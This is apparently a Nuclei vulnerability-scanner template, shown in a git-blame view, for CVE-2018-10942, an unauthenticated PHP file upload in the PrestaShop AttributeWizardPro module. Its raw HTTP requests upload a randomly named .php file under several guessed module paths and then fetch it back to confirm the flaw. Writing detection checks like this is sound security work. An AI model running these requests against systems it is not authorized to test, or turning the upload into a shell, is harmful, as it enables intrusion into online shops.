2023-12-31 16:09:36 +00:00
|
|
|
id: CVE-2018-10942
|
|
|
|
|
|
|
|
info:
|
2024-01-19 19:18:10 +00:00
|
|
|
name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
|
2023-12-31 16:09:36 +00:00
|
|
|
author: MaStErChO
|
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
In the Attribute Wizard addon 1.6.9 for PrestaShop allows remote attackers to execute arbitrary code by uploading a php file.
|
|
|
|
reference:
|
|
|
|
- https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
|
|
|
|
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
|
2024-01-19 19:18:10 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2018-10942
|
|
|
|
classification:
|
2024-05-31 19:23:20 +00:00
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.8
|
2024-01-19 19:18:10 +00:00
|
|
|
cve-id: CVE-2018-10942
|
2024-05-31 19:23:20 +00:00
|
|
|
cwe-id: CWE-434
|
|
|
|
epss-score: 0.18241
|
|
|
|
epss-percentile: 0.96178
|
|
|
|
cpe: cpe:2.3:a:attribute_wizard_project:attribute_wizard:1.6.9:*:*:*:*:prestashop:*:*
|
2023-12-31 16:09:36 +00:00
|
|
|
metadata:
|
2024-01-29 11:58:34 +00:00
|
|
|
max-request: 8
|
2024-05-31 19:23:20 +00:00
|
|
|
vendor: attribute_wizard_project
|
|
|
|
product: attribute_wizard
|
|
|
|
framework: prestashop
|
2024-06-07 10:04:29 +00:00
|
|
|
tags: prestashop,attributewizardpro,intrusive,file-upload,cve2018,cve,attribute_wizard_project
|
2023-12-31 16:09:36 +00:00
|
|
|
variables:
|
|
|
|
filename: '{{rand_base(7, "abc")}}'
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /modules/{{paths}}/file_upload.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
|
|
|
|
|
|
|
|
--ba1f796d0aa2482e9c51c81ae6087818
|
|
|
|
Content-Disposition: form-data; name="userfile"; filename="{{filename}}.php"
|
|
|
|
Content-Type: multipart/form-data
|
|
|
|
|
|
|
|
{{randstr}}
|
|
|
|
--ba1f796d0aa2482e9c51c81ae6087818--
|
2024-01-19 19:18:10 +00:00
|
|
|
|
2023-12-31 16:09:36 +00:00
|
|
|
- |
|
|
|
|
GET /modules/{{paths}}/file_uploads/{{file}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
payloads:
|
|
|
|
paths:
|
|
|
|
- 'attributewizardpro'
|
|
|
|
- '1attributewizardpro'
|
|
|
|
- 'attributewizardpro.OLD'
|
|
|
|
- 'attributewizardpro_x'
|
|
|
|
|
|
|
|
stop-at-first-match: true
|
|
|
|
host-redirects: true
|
|
|
|
max-redirects: 3
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body_1
|
|
|
|
words:
|
|
|
|
- '{{filename}}'
|
2024-01-19 19:18:10 +00:00
|
|
|
|
2023-12-31 16:09:36 +00:00
|
|
|
- type: word
|
|
|
|
part: body_2
|
|
|
|
words:
|
|
|
|
- '{{randstr}}'
|
2024-01-19 19:18:10 +00:00
|
|
|
|
2023-12-31 16:09:36 +00:00
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: file
|
|
|
|
part: body_1
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
2024-01-19 19:18:10 +00:00
|
|
|
- '(.*?)\|\|\|\|'
|
2024-06-01 06:53:00 +00:00
|
|
|
# digest: 4b0a00483046022100b5c0be9fdc84b3fd3d3c130d309b587ec77fd52be876838eddbba234cc28e715022100b42d341387c2ef8750f784db06da3e27e35d0cff6d77ae88c43ea4725c1ca3b8:922c64590222798bb761d5b6d8e72950
|